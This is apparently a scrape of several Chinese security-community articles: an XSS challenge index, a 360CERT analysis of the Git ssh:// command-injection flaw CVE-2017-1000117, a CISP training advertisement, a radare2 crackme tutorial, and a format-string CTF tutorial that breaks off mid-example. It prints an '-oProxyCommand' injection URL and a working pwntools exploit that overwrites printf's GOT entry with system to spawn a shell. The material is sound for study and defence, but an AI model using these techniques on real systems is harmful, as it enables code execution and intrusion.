[XSS#07. text/plain (添加时间:2017-08-15)](http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss7.php?url=http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss2.php)[\---->查看源码](http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss7.php.txt)[\---->点我看提示]()
[XSS#08. 标签 (添加时间:2017-08-15)](http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss8.php?url=http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/test.txt)[\---->查看源码](http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss8.php.txt)[\---->点我看提示]()
[XSS#09. plaintext (添加时间:2017-08-16)](http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss9.php?text=test)[\---->查看源码](http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss9.php.txt)[\---->点我看提示]()
[XSS#10. MVM (添加时间:2017-08-16)](http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss10.php?username=hiphopman)[\---->查看源码](http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss10.php.txt)[\---->点我看提示]()
[XSS#11. HOST (添加时间:2017-08-17)](http://ec2-52-15-146-21.us-east-2.compute.amazonaws.com/)[->查看源码](http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss11.js.txt)[\---->点我看提示]()
[XSS#12. preview (添加时间:2017-08-17)](http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss12.php?url=https://www.baidu.com/img/bd_logo1.png)[\---->查看源码](http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss12.php.txt)[\---->点我看提示]()
[XSS#13. REQUEST_URI (添加时间:2017-08-17)](http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss13.php)[\---->查看源码](http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss13.php.txt)[\---->点我看提示]()
[XSS#14. HIDDEN (添加时间:2017-08-18)](http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss14.php?token=233)[\---->查看源码](http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss14.php.txt)[\---->点我看提示]()
[XSS#15. Frame Buster (添加时间:2017-08-18)](http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss15.php?page=1)[\---->查看源码](http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss15.php.txt)[\---->点我看提示]()
[XSS#16. PHP_SELF (添加时间:2017-08-18)](http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss16.php)[\---->查看源码](http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss16.php.txt)[\---->点我看提示]()
[XSS#17. passive element (添加时间:2017-08-23)](http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss17.php?content=data)[\---->查看源码](http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss17.php.txt)[\---->点我看提示]()
[XSS#18. Graduate (添加时间:2017-08-23)](http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss18.php?input=plaintext)[\---->查看源码](http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss18.php.txt)[\---->点我看提示]()
[XSS#19. Party (添加时间:2017-08-25)](http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss19.php?link=http://up.qqjia.com/z/face01/face06/facejunyong/junyong02.jpg)[\---->查看源码](http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss19.php.txt)[\---->点我看提示]()
[XSS#20. The End (添加时间:2017-08-25)](http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss20.php?hookid=9527)[\---->查看源码](http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss20.php.txt)[\---->点我看提示]()
[番外篇#01. JQuery (此题属于番外篇，对排名没有影响。 添加时间:2017-08-27)](http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss21.php)[\---->查看源码](http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss21.php.txt)[\---->点我看提示]() | 社区文章 |
# 【漏洞分析】SSH 命令注入漏洞(CVE-2017-1000117)分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者：RickyHao & C1tas@360CERT
**0x00 背景介绍**
A malicious third-party can give a crafted “ssh://…” URL to an unsuspecting
victim, and an attempt to visit the URL can result in any program that exists
on the victim’s machine being executed. Such a URL could be placed in the
.gitmodules file of a malicious project, and an unsuspecting victim could be
tricked into running “git clone –recurse-submodules” to trigger the
vulnerability.
— <https://www.mail-archive.com/[email protected]/msg1466490.html>
在2017年8月10日Junio C Hamano发布了这一问题。
**0x01 漏洞概述**
恶意人员可以通过巧妙构造“ssh://…”链接，让受害人在执行程序等情况下访问该恶意链接，从而达到命令执行的目的。该链接可以被放在 git项目的
.gitmodules 文件下，这样当受害人对一个项目进行
git clone --recurse-submodules
操作时，就会引发安全问题。
360CERT进行了紧急分析，目前该分析报告仅以 **Git** 为例，但漏洞影响包括但不限于
**Git，SVN，CVS，HG，Gitlab，GithubDesktop，SourceTree** 等。
**0x02 漏洞攻击面影响**
**影响面**
该漏洞主要由“ssh://…”链接造成，如Git，SVN，CVS，HG等工具，在解析SSH链接的时候都会触发这个漏洞。此外，若是其他程序在解析SSH链接的时候，不做相应的处理，就会触发该漏洞。
经过360CERT研判后确认， **漏洞风险等级高，影响范围广** 。
**影响版本**
Versions prior to 2.14.1 of the Git
**修复版本**
Git v2.14.1
**0x03 漏洞详情**
**技术细节**
该漏洞主要由于SSH链接在hostname部分，若是用“-”开头，那么会导致ssh命令将hostname误认为这是一个选项。因此，我们可以利用“
**-oProxyCommand** ”选项来达到命令执行的目的。
在进行git clone 时候会调用到 **git/connect.c** 中
struct child_process *git_connect(int fd[2], const char *url,const char *prog, int flags)
函数。其接受到的参数url为命令中“ **git clone xxx://xxxxxxxxxx/xx(.git)**
”的xxx://xxxxxxxxxx/xx(.git)部分。在该函数中会对传入的这个字符串进行parse，提取其协议部分。在满足协议为ssh://的时候会进入该函数的else部分。
然后根据下面的流程调用本地的ssh
首先获得本地的ssh路径，然后push进conn->args
然后获得url中ssh_host部分再拼接路径
最后调用 **start_command** 函数进行命令执行
**start_command** 的定义在 **git/run-command.c**
int start_command(struct child_process *cmd)
将传入的cmd经过处理赋值给argv
经过execve这个函数进行命令执行。但是在这个这个命令执行的内容是 “ **/usr/bin/ssh `ssh_host` path**
”而ssh命令的-o参数在一定程度上是可以执行命令的
例如
ssh -oProxyCommand=gnome-calculator xxx
将会在本地打开gnome的计算器
所以如果我们在clone 操作的时候将连接指定为
git clone ssh://-oProxyCommand=gnome-calculator/cert
将取得同样的命令执行的效果
**漏洞修复**
在v2.14.1的commit中，可以看到 **git_connect** 函数中执行之前对ssh_host进行了验证
验证内容为新增的这个函数
该函数对ssh_host的第一个字符进行了校验防止为 **“-“** 的情况抑制了向ssh传递参数的情况
并且在多处对传入的host，port都做了该函数的过滤
**0x04 漏洞利用验证**
注：利用演示 <https://asciinema.org/a/v88k2fTHB3CXPnadOrM62pcAr>
**0x05 修复建议**
**a)** 官方更新公告（非正式版本呢，需自行更新）
<https://www.mail-archive.com/[email protected]/msg1466490.html>
**b)** 目前各个发行版源还未更新修复版本v2.14.1，用户可以在 <https://github.com/gitster/git>上自行下载编译。
**c)** 未更新的用户，在clone项目的时候，请尽量注意 **.gitmodules** 等文件中 **有无恶意链接** 来预防安全问题。
**0x06 时间线**
_2017-8-10_ 官方首次发布安全通告
_2017-8-11_ 360CERT完成对漏洞的分析并形成报告
**0x07 参考文档**
<https://www.mail-archive.com/[email protected]/msg1466490.html>
<https://github.com/gitster/git/commit/4274c698f46a9bc45834c4904e7e113450c042fb> | 社区文章 |
# 安信学院2018年5月26日CISP认证培训火热报名中（哈尔滨）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
报名联系：王老师18603666565 [[email protected]](mailto:[email protected])（请注明来自安全客）
听说哈尔滨的春天特别美丽
听说哈尔滨有个心仪已久的太阳岛
听说哈尔滨这块黑土地有一种俄罗斯情调
我们还听说每个安全工程师都想有个CISP专业认证
## 课程简介
**号外！号外！** 安信学院将在2018年5月26日在哈尔滨举行CISP培训啦！
在即将培训的5天的时间里，老师将对CISP的知识体系进行了整体的讲解。课程主要围绕物理环境与网络通信安全、安全支撑技术与保障新领域、计算环境安全、软件安全开发、信息安全保障、法律法规与标准、安全工程、安全管理、安全运营、安全评估等内容展开。
我们将以最优质的服务和超高品质技术支撑为你的职业技术生涯保驾护航！
欢迎您来参加安信学院将在哈尔滨举办的第三期CISP培训！
## 联系方式
王老师 18603666565 [[email protected]](mailto:[email protected])
## CISP培训课程表及考试安排
培训费用
培训费：9800元/人（费用包括：学费资料费、笔记本、午餐费、课间茶点）
考试费：1000元/人
认证费：500元/人
年 金：1500元/人（500元/人/年，三年一交）
费用合计：12800元/人
【注：以上各项费用由中国信息安全测评中心统一规定，详情请参阅中国信息安全测评中心】
## 知识科普
注册信息安全专业人员，英文名称Certified Information Security
Professional，简称CISP，是向信息安全企业、信息安全咨询服务机构、信息安全测评机构、政府机构、社会各组织、团体、大专院校以及企事业单位中负责信息系统建设、运行维护和管理工作的信息安全专业人员所颁发的专业资质证书，同时也是国内唯一针对信息安全从业人员的资格证书。
获得CISP认证对于个人来说，可以提高自身信息安全从业水平，证明具备从事信息安全技术和管理工作的能力，并能提升职场竞争中的自身优势。对企业来说，拥有一支高素质的信息安全专业人才队伍，是信息安全的保障。信息安全人员持证上岗，不但可以满足政策部门的合规性要求，也为企业实施信息安全岗位绩效考核提供了标准和依据，并且是信息安全企业申请安全服务资质必备的条件。
## 机构介绍
**安信学院**
——隶属于安信与诚科技开发有限公司，是黑龙江省唯一一家获得国家信息安全测评中心授权的CISP认证培训机构，官方资质查询可登录中国信息安全测评中心官网。
•主要从事CISP、CISSP、CISP-PTE、CISM等安全资质认证类课程培训；
•提供信息安全标准培训、攻防技术培训、定制化安全培训。
学院以满足客户实际需求为目标，以培养信息安全专业人才为己任，秉承专注专业、精诚合作的企业文化，为黑龙江省信息化人才建设贡献绵薄之力。 | 社区文章 |
# 【工具分享】Radare 2之旅：通过crackme实例讲解Radare 2在逆向中的应用（上）
|
##### 译文声明
本文是翻译文章，文章来源：megabeets.net
原文地址：<https://www.megabeets.net/a-journey-into-radare-2-part-1/>
译文仅供参考，具体内容表达以及含义原文为准。
****
译者：[ **Kp_sover**](http://bobao.360.cn/member/contribute?uid=2899451914)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**序言**
在过去的一年里我研究了 radare2 很久，无论是参加CTF、逆向工程或是漏洞挖掘，我发现 radare2都能很好的提升我的工作效率，
有时候它也是我用来分析恶意软件（如溯源）的工具,不幸的是很少有人听过它，可能是因为大多数人习惯了使用 IDA Pro，OllyDBG,
gdb,不管怎样，我都觉得 radare2 应该成为你工具箱中的一部分.
因为我真的特别喜欢这个项目，因此为了让大家能更好的了解并使用它，我决定专门创建一个有关 r2
系列的文章来介绍它的特点和功能，希望能让大家更好的利用它去解决工作中的问题.
欢迎来到 IDA 10.0
**radare2**
radare2是一个开源的逆向工程和二进制分析框架，它的强大超出你的想象，包括反汇编、分析数据、打补丁、比较数据、搜索、替换、虚拟化等等，同事具备超强的脚本加载能力，它可以运行在几乎所有主流的平台（GNU/Linux,
.Windows *BSD, iOS, OSX,
Solaris…）并且支持很多的cpu架构以及文件格式，我认为所有它的这些特征恰好能表达出一个意思–那就是给予你的使用以极大的自由.
radare2工程是由一系列的组件构成，这些组件可以在 radare2 界面或者单独被使用–比如我们将要了解的rahash2, rabin2,
ragg2三个组件，所有这些组件赋予了 radare2 强大的静态或动态分析、十六进制编辑以及溢出漏洞挖掘的能力.
在这之前，我们有必要知道学习使用 radare2
是一个比较艰难的过程，尽管它有直观的GUI界面，但坦白的说，它确实没有IDA用起来方便，它的学习曲线我认为大致是这样的
当然我们不用因为它很复杂就退怯，我会竭尽所能让每个知识点都更清晰易懂!
在开始前，你可以在[这儿](http://rada.re/r/cmp.html "here")去了解我们当前正面对并试图解决的问题.
这里是有关 radare2 最新的介绍文章
Check it out @
[https://t.co/MybNPqq2CH](https://t.co/MybNPqq2CH)[@radareorg](https://twitter.com/radareorg)[#radare2](https://twitter.com/hashtag/radare2?src=hash)
— Itay Cohen (@Megabeets_Blog) [March 27,
2017](https://twitter.com/Megabeets_Blog/status/846314627059400704)
**获得radare2**
**安装**
因为 我们每天都在更新Radare2的开发，因此建议你使用最新的github版本，不要使用 stable版，因为有时候 stable版可能还没有 最新的
github 版稳定.
$ git clone https://github.com/radare/radare2.git
$ cd radare2
$ ./sys/install.sh
如果你不想使用github版，或者想要每个平台相对应的二进制文件，那就点击这里去下载吧！[download page at the radare2
website.](http://radare.org/r/down.html)
**更新**
正如我之前所说，我极力推荐你使用github上的最新版，如果你需要更新，那就太简单了，只需要下面这条命令,我每天习惯在早上更新一下 radare2
，在这期间，你可以去喝杯咖啡..
$ ./sys/install.sh
**卸载**
oh…说实话我实在想不到任何理由，你会在看这篇文章的时候需要去卸载 radare2 ，哈哈，不过如果你随时需要，那就这样吧
$ make uninstall
$ make purge
下面正式进入正题，let's go…
这里是crackme的下载地址[here](https://github.com/ITAYC0HEN/A-journey-into-Radare2/blob/master/Part%201%20-%20Simple%20crackme/megabeets_0x1)
好的，现在假设你们已经安装好 radare2 ，crackme 文件也已经下载到机器上，我现在开始介绍 radare2 的基本用法，我将在
[Remnux](https://remnux.org/) 系统上进行操作，但是大多数命令和说明在 windows或者其他系统上都一样的.
**命令行参数**
正如大多数软件的使用一样，最好的了解它的方式就是在它后面加一个 -h 参数
$ r2 -h
在这里我不会展示它所有的用法，我只会展示平常我使用的比较多并且很重要的参数:
Usage: r2 [-ACdfLMnNqStuvwz] [-P patch] [-p prj] [-a arch] [-b bits] [-i file]
[-s addr] [-B baddr] [-M maddr] [-c cmd] [-e k=v] file|pid|-|--|=
-d: Debug the executable 'file' or running process 'pid'
-A: Analyze executable at load time (xrefs, etc)
-q: Quiet mode, exit after processing commands
-w: Write mode enabled
-L: List of supported IO plugins
-i [file]: Interprets a r2 script
-n: Bare load. Do not load executable info as the entrypoint
-c 'command; command; ...': Run r2 and execute commands (eg: r2 's main; px 60')
-p [prj]: Creates a project for the file being analyzed
-: Opens r2 with the malloc plugin that gives a 512 bytes memory area to play with
**二进制信息**
当我拿到一个二进制文件，首先就会去获取它的基本信息，这里将会用到 r2 框架里最强的一个工具 ：rabin2.
rabin2 可以获取包括ELF, PE, Mach-O, Java
CLASS文件的区段、头信息、导入导出表、字符串相关、入口点等等，并且支持几种格式的输出文件.
使用下面的命令获取更多的用法
man rabin2
我们可以通过 -I 参数 来让 rabin2 打印出二进制文件的系统属性、语言、字节序、框架、以及使用了哪些 加固技术（canary, pic, nx）.
$ rabin2 -I megabeets_0x1
havecode true
pic false
canary false
nx false
crypto false
va true
intrp /lib/ld-linux.so.2
bintype elf
class ELF32
lang c
arch x86
bits 32
machine Intel 80386
os linux
minopsz 1
maxopsz 16
pcalign 0
subsys linux
endian little
stripped false
static false
linenum true
lsyms true
relocs true
rpath NONE
binsz 6220
这里你可以清晰地看到这是一个32位的 elf 文件，没有剥离符号表并且是动态链接的，它没有使用溢出隔离技术-这对于下一篇我们利用 radare2
去溢出它是很有利的信息，现在我们来运行它看看这个程序到底做了啥。
注意：尽管我让你们直接运行，但建议任何时候对一个不清楚的二进制文件都不要直接运行，最好放在一个隔离的环境，比如虚拟机下运行！
$ ./megabeets_0x1
.:: Megabeets ::.
Think you can make it?
Nop, Wrong argument.
$ ./megabeets_0x1 abcdef
.:: Megabeets ::.
Think you can make it?
Nop, Wrong argument.
开始来我们需要给它一些参数，这里输入 "abcdef"，然后还是错了，很明显，我们需要给它密码，这就是这次crackme要做的事.
下面我们用 radare2来测试这个程序：
$ r2 ./megabeets_0x1
— Thank you for using radare2. Have a nice night!
[0x08048370]>
当我们运行它的时候，它会给我们一个欢迎界面，同时给我们一个shell操作符，在这里有很多有趣和有用的命令，现在 r2
在等我们给它下一步的命令，当前它输出了一个地址 (0x08048370)，这就是它自动识别的程序入口点，我们来验证一下：
[0x08048370]> ie
[Entrypoints]
vaddr=0x08048370 paddr=0x00000370 baddr=0x08048000 laddr=0x00000000 haddr=0x00000018 type=program1 entrypoints
我们用 ie 命令可以打印出程序的入口点， ie 的意思就是 info >>
entrypoint，是不是很好记，当然我们不需要刻意去记住它，因为我们可以在任何一个命令后面添加 ? 来获得更多的子命令信息：
[0x08048370]> i?
|Usage: i Get info from opened file (see rabin2’s manpage)
| Output mode:
| ‘*’ Output in radare commands
| ‘j’ Output in json
| ‘q’ Simple quiet output
| Actions:
| i|ij Show info of current file (in JSON)
| iA List archs
| ia Show all info (imports, exports, sections..)
| ib Reload the current buffer for setting of the bin (use once only)
| ic List classes, methods and fields
| iC Show signature info (entitlements, …)
| id Debug information (source lines)
| iD lang sym demangle symbolname for given language
| ie Entrypoint
| iE Exports (global symbols)
| ih Headers (alias for iH)
| iHH Verbose Headers in raw text
| ii Imports
| iI Binary info
| ik [query] Key-value database from RBinObject
| il Libraries
| iL List all RBin plugins loaded
| im Show info about predefined memory allocation
| iM Show main address
| io [file] Load info from file (or last opened) use bin.baddr
| ir|iR Relocs
| is Symbols
| iS [entropy,sha1] Sections (choose which hash algorithm to use)
| iV Display file version info
| iz Strings in data sections
| izz Search for Strings in the whole binary
| iZ Guess size of binary program
i 开头的命令主要是用来获取各种信息。
**分析**
radare2 不会主动去分析一个文件，因为这样做的代价太大了，它需要花费很多的时间，尤其是大文件，有关分析的操作或者设置启动时不分析可以去 radare2
的博客看看 [this post](http://radare.today/posts/analysis-by-default/).
当然分析是一个必要的功能，r2 也提供了很多与之相关的功能，就像之前说的，我们可以在 'a' 后面加 '?' 来探索这个系列的命令：
[0x08048370]> a?
|Usage: a[abdefFghoprxstc] […]
| ab [hexpairs] analyze bytes
| abb [len] analyze N basic blocks in [len] (section.size by default)
| aa[?] analyze all (fcns + bbs) (aa0 to avoid sub renaming)
| ac[?] [cycles] analyze which op could be executed in [cycles]
| ad[?] analyze data trampoline (wip)
| ad [from] [to] analyze data pointers to (from-to)
| ae[?] [expr] analyze opcode eval expression (see ao)
| af[?] analyze Functions
| aF same as above, but using anal.depth=1
| ag[?] [options] output Graphviz code
| ah[?] analysis hints (force opcode size, …)
| ai [addr] address information (show perms, stack, heap, …)
| ao[?] [len] analyze Opcodes (or emulate it)
| aO Analyze N instructions in M bytes
| ar[?] like ‘dr’ but for the esil vm. (registers)
| ap find prelude for current offset
| ax[?] manage refs/xrefs (see also afx?)
| as[?] [num] analyze syscall using dbg.reg
| at[?] [.] analyze execution traces
Examples:
f ts @ S*~text:0[3]; f t @ section..text
f ds @ S*~data:0[3]; f d @ section..data
.ad t t+ts @ d:ds
通常我会使用 'aa' 命令来分析文件，当然使用 'aa?'可以获得更多的用法，这里由于文件很小的原因，我选择用 'aaa'
来尽可能的分析出更多更细致的信息，当然你也可以在运行 radare2的使用 -A 参数来直接分析一个文件(例如 r2 -A megabeets_0x1)
[0x08048370]> a?
[x] Analyze all flags starting with sym. and entry0 (aa)
[0x08048370]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[*] Use -AA or aaaa to perform additional experimental analysis.
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
**Flags**
分析完成之后， r2会将所有有用的信息和特定的名字绑定在一起，比如区段、函数、符号、字符串，这些都被称作 'flags', flags 被整合进 <flag
spaces>，一个 flag 是所有类似特征的集合，展示所有的 flag ，用 'fs' 命令：
[0x08048370]> fs
0 4 . strings
1 35 . symbols
2 82 . sections
3 5 . relocs
4 5 . imports
5 1 . functions
我们可以使用 'fs <flagspaces>' 加 'f' 来打印出 这个 flags
下面包含的信息，使用分号来间隔多条命令(‘cmd1;cmd2;cmd3;…’).
[0x08048370]> fs imports; f
0x08048320 6 sym.imp.strcmp
0x08048330 6 sym.imp.strcpy
0x08048340 6 sym.imp.puts
0xffffffff 16 loc.imp.__gmon_start__
0x08048350 6 sym.imp.__libc_start_main
我们看到 r2 列出了这个二进制文件的导出表–熟悉的 ‘strcmp’, ‘strcpy’,
‘puts’,等函数，并和它们的真实地址相关联，同样我们可以列出 字符串 flagspace:
**
**
**Strings**
我们看到 r2 标记出了 字符串的偏移地址、变量名.现在我们来看看字符串吧，这里有几种方式可以查看文件的字符串，你可以根据自己的需要来选择.
iz – 列出数据段里的字符串
izz – 在整个二进制文件中搜索字符串.
[0x08048370]> iz
vaddr=0x08048700 paddr=0x00000700 ordinal=000 sz=21 len=20 section=.rodata type=ascii string=n .:: Megabeets ::.
vaddr=0x08048715 paddr=0x00000715 ordinal=001 sz=23 len=22 section=.rodata type=ascii string=Think you can make it?
vaddr=0x0804872c paddr=0x0000072c ordinal=002 sz=10 len=9 section=.rodata type=ascii string=Success!n
vaddr=0x08048736 paddr=0x00000736 ordinal=003 sz=22 len=21 section=.rodata type=ascii string=Nop, Wrong argument.n
还记得吗，在之前运行程序的时候就见过这些字符串了，看到 ‘success’
了没，它可能就是我们最终成功后想要见到的字符串，现在我们知道了这个字符串的名字，那我们来看看在哪里调用了它：
[0x08048370]> axt @@ str.*
data 0x8048609 push str._n__.::_Megabeets_::. in main
data 0x8048619 push str.Think_you_can_make_it_ in main
data 0x8048646 push str._n_tSuccess__n in main
data 0x8048658 push str._n_tNop__Wrong_argument._n in main
这条命令又给我们展示了另一个 r2 的功能，'axt' 命令用来在 data/code段里找寻某个地址相关的引用（更多的操作，请看
'ax?'）.'@@'就像一个迭代器，用来在地址空间里不断地匹配后面一系列相关的命令（更多操作，请看 '@@?'）， 'str.*'
是一个通配符，用来标记所有以 'str.'开头的信息，这个不光会列出字符串标志，同时也包括函数名，找到它们到底在哪里以及何处被调用。
未完待续… | 社区文章 |
# 通过CTF例题完整学习格式化字符串漏洞
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言：
该漏洞本身已经非常古老了，同时也因为其容易被检测，因此在实际的生产环境中已经不怎么能遇到了，但其原理还是很值得学习的。笔者将在本篇用尽可能便于理解的方式来将该漏洞解释明白。
如果文章存在纰漏，也欢迎各位师傅纠错。
**注：笔者挑选的例题均可在BUUOJ中直接启动远程靶机**
## 引题：
直接讲解其原理或许有些晦涩，不妨先通过一道例题来看看该漏洞造成的问题
**例题来源：wdb_2018_2nd_easyfmt**
本题第14行中，printf函数中的参数可由攻击者控制。
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char buf[100]; // [esp+8h] [ebp-70h] BYREF
unsigned int v4; // [esp+6Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
puts("Do you know repeater?");
while ( 1 )
{
read(0, buf, 0x64u);
printf(buf);
putchar(10);
}
}
一般来说，printf应该由程序设计者先将打印格式设定好，然后再交由用户提交内容，就像这样：
printf("%s",buf)
那么，这和例题中的写法的不同在哪呢？
这里涉及到了“变长参数”的知识，但这并不在本文的讨论范围内。
不过，我们能够这样理解：
“类似于printf这类函数，它们的参数是不定的(或者说参数没有固定个数)。这样一来，内核只能通过“%s“这样的字符格式来按照顺序将参数一一对应”
我们知道，在32位系统中，函数的传参是通过栈Stack实现的，所以机器也不知道栈里的东西究竟是作为参数被Push进来的，还是作为其他变量、返回地址等等被Push进来的。
所以如果我们这样使用printf：
printf("%p")
显然，我们没有指定%p应该对应的参数；但计算机可不这么认为，它会将当前ESP+4的内容当作参数打印出来。如果这些值是比较特别的数，那么它就已经泄露的重要信息了
(当然，因为我们能够控制格式化字符串，所以大可用很多很多%p%s%d等标识，强行泄露整个栈的内容)
在了解上述内容之后，我们回到题目，并试着这样输入：
于是，我们就这样轻松泄露出栈的地址， **甚至知道了我们的参数会被放在哪里**
观察输出就会发现，有一个指针为”0x41414141“，这显然就是我们输入的”AAAA”
那么我们就会这样想：用某个got表地址替换”AAAA“，然后用”%s“将这个地址读出来
printf("%s",buf)
这个buf实际上是一个地址，就是上述的”AAAA“，如果我们用got[“puts”]替代”AAAA“，那printf就会从”got[“puts”]“这个地址出取出库函数地址，然后把它当作字符串打印出来
栈结构大致如下：
地址 | 内容
---|---
ESP+8 | AAAA
ESP+12 | BBBB
地址 | 内容 | 内容指向
---|---|---
ESP+8 | got.puts | ->libc.puts
ESP+12 | BBBB
**%p会将”内容“打印出来，而%s则会将”内容指向“打印出来**
不过，如果内容是一个非法地址(或没有读的权限)，那%s就会导致段错误而退出
## 漏洞利用：
到目前为止，似乎还只能用来泄露信息，但格式化字符串中还存在一个不怎么常用的”%n“，该占位符不用于输出，而是将
**”当前已打印的字符数写入%n所对应的地址参数中“**
同时，还可以用 **”%?$p“来指示该占位符使用第?个参数**
有了上述两个占位符，我们就能达成”任意地址读写“这一严重的结果
因为我们只需要将”期望写入的地址+填充+%?$n“传入，就能往任何地方写入任意数了
类比例题，如果我们将printf的got表修改为system，再传入”/bin/sh“，就变相执行了
system("/bin/sh")
回到题目：
我们注意到，我们的输入对应着第6个%p，因此能够这样构造payload：
puts_got=elf.got["puts"]
payload=p32(puts_got)+"%6$s"
那么在试图找到占位符”%6$s“时，就会将puts_got视作参数，从而能够得到libc的加载地址，计算出system的地址
那么接下来就是复写got表了。网上或许有很多wp是使用pwntools提供的fmtstr_payload完成操作，但笔者建议初学者应该先尝试自行构造payload。过度依赖工具，容易忽略最基本的东西。
## 构造流程：
我们应该确保地址是符合4字节对齐的(64位中为8字节对齐)，这样才能正确地将其视作一个参数
**同时，使用”%hn“或”%hhn“要优于”%n“**
两者分别写入两字节与单字节，而不像”%n“那样写入4字节。
因为”写入“ 意味着
”打印出“。如果我们试图一次性写入四字节，那么就意味着我们需要程序打印出大致0xf7dbb000(笔者用一个libc_base指代该值)个符号(在64位系统中，这个值将拓展到8字节数)，这通常是难以实现的。
本题笔者给出的payload：
payload=(p32(printf_got)+"%"+str(padding1)+"c"+"%6$hn")+p32(printf_got+2)+"%"+str(padding2-4)+"c"+"%10$hn"
我们使用”%c“并增加合适的字宽(padding)来让程序打印出足够多的字符，并分别写入printf_got的前两个字节和后两个字节
我们注意到，这个payload正好能够让地址符合对齐规则
实际的构造过程自然是需要读者自行根据gdb的调试来适当添加空字符，但本文我们只需要理解这个payload的合理性——为什么能够正常覆盖？
* 0000：0xffe8ca28 对应printf_got #指向低字节
* 0016：0xffe8ca38 对应printf_got+2 #标识高字节
而在printf中，padding是叠加的，不会因为写入过一次就将”已打印字符数清零“
因此我们往往需要 **从小到大** 来构造写入链，否则先打印了过多字符之后，就没办法写入一个更小的数了(也可以通过溢出来刷新，但这往往非常麻烦)
system1=system&0xffff
system2=(system&0xffff0000)/0x10000
padding1=system1-4
padding2=system2-(padding1+4)
我们先分别取system的低字节和高字节为system1和system2
padding1作为第一次需要写入的值，由于我们先写入了地址，因此需要减去地址的字符数
padding2则是因为我们先让程序打印了(padding1+4)个字符，因此我们减去这个数作为第二次填充的值(最后再减去第二个地址的字符数，这在payload里有体现)
最后只需要确定参数的位置即可：
第一个地址对应第六个%p，而第二个地址对应第十个%p(这个我们也可以通过gdb数出来)
from pwn import *
context.log_level = 'debug'
elf = ELF("./wdb_2018_2nd_easyfmt")
p = process("./wdb_2018_2nd_easyfmt")
libc=elf.libc
#p=remote("node4.buuoj.cn",29237)
#libc=ELF("libc_32.so.6")
puts_got=elf.got["puts"]
printf_got=elf.got["printf"]
payload=p32(puts_got)+"%6$s"
p.send(payload)
puts_addr = u32(p.recvuntil("\xf7")[-4:])
libc_base=puts_addr-libc.symbols["puts"]
log.success(hex(libc_base))
system=libc_base+libc.symbols["system"]
system1=system&0xffff
system2=(system&0xffff0000)/0x10000
log.success(hex(system1))
log.success(hex(system2))
padding1=system1-4
padding2=system2-(padding1+4)
payload=(p32(printf_got)+"%"+str(padding1)+"c"+"%6$hn")+p32(printf_got+2)+"%"+str(padding2-4)+"c"+"%10$hn"
p.send(payload)
p.send("/bin/sh\x00")
p.interactive()
## 适用范围：
这个漏洞适用于所有实用”format“，即格式化字符串的函数，常见的有：
函数 | 功能
---|---
printf | 输出到 stdout
fprintf | 输出到指定 FILE 流
vprintf | 根据参数列表格式化输出到 stdout
vfprintf | 根据参数列表格式化输出到指定 FILE 流
sprintf | 输出到字符串
snprintf | 输出指定字节数到字符串
vsprintf | 根据参数列表格式化输出到字符串
vsnprintf | 根据参数列表格式化输出指定字节到字符串
scanf | 读取stdin到指定内存
## 拓展到堆中：
64位系统中，前6个参数分别对应 rdi, rsi, rdx, rcx, r8, r9，而第七个参数则在ESP+8上，第八个在ESP+0x10，以此类推
因此，我们构造payload，本质上和32位没有区别，无非就是在$?时为其加上6即可
但在堆上时，这往往就变得困难了
格式化字符串不在栈上，这就意味着我们 **无法人为地去布置地址**
上一个例题中，我们通过在栈上布置”目标地址“来写入字节；但当我们往堆中写格式化字符串时，栈里就不会有我们布置的地址了，哪怕通过”%p“泄露了栈中数据，也没办法利用，不是吗?
**例题来源：xman_2019_format**
int sub_8048651()
{
void *buf; // [esp+Ch] [ebp-Ch]
puts("...");
buf = malloc(0x100u);
read(0, buf, 0x37u);
return sub_804862A(buf);
}
char *__cdecl sub_80485C4(char *s)
{
char *v1; // eax
char *result; // eax
puts("...");
v1 = strtok(s, "|");
printf(v1);
while ( 1 )
{
result = strtok(0, "|");
if ( !result )
break;
printf(result);
}
return result;
}
int backdoor() #0x80485AB
{
return system("/bin/sh");
}
我们只有一次输入机会，然后程序将以”|“为分隔符分别打印每一条内容
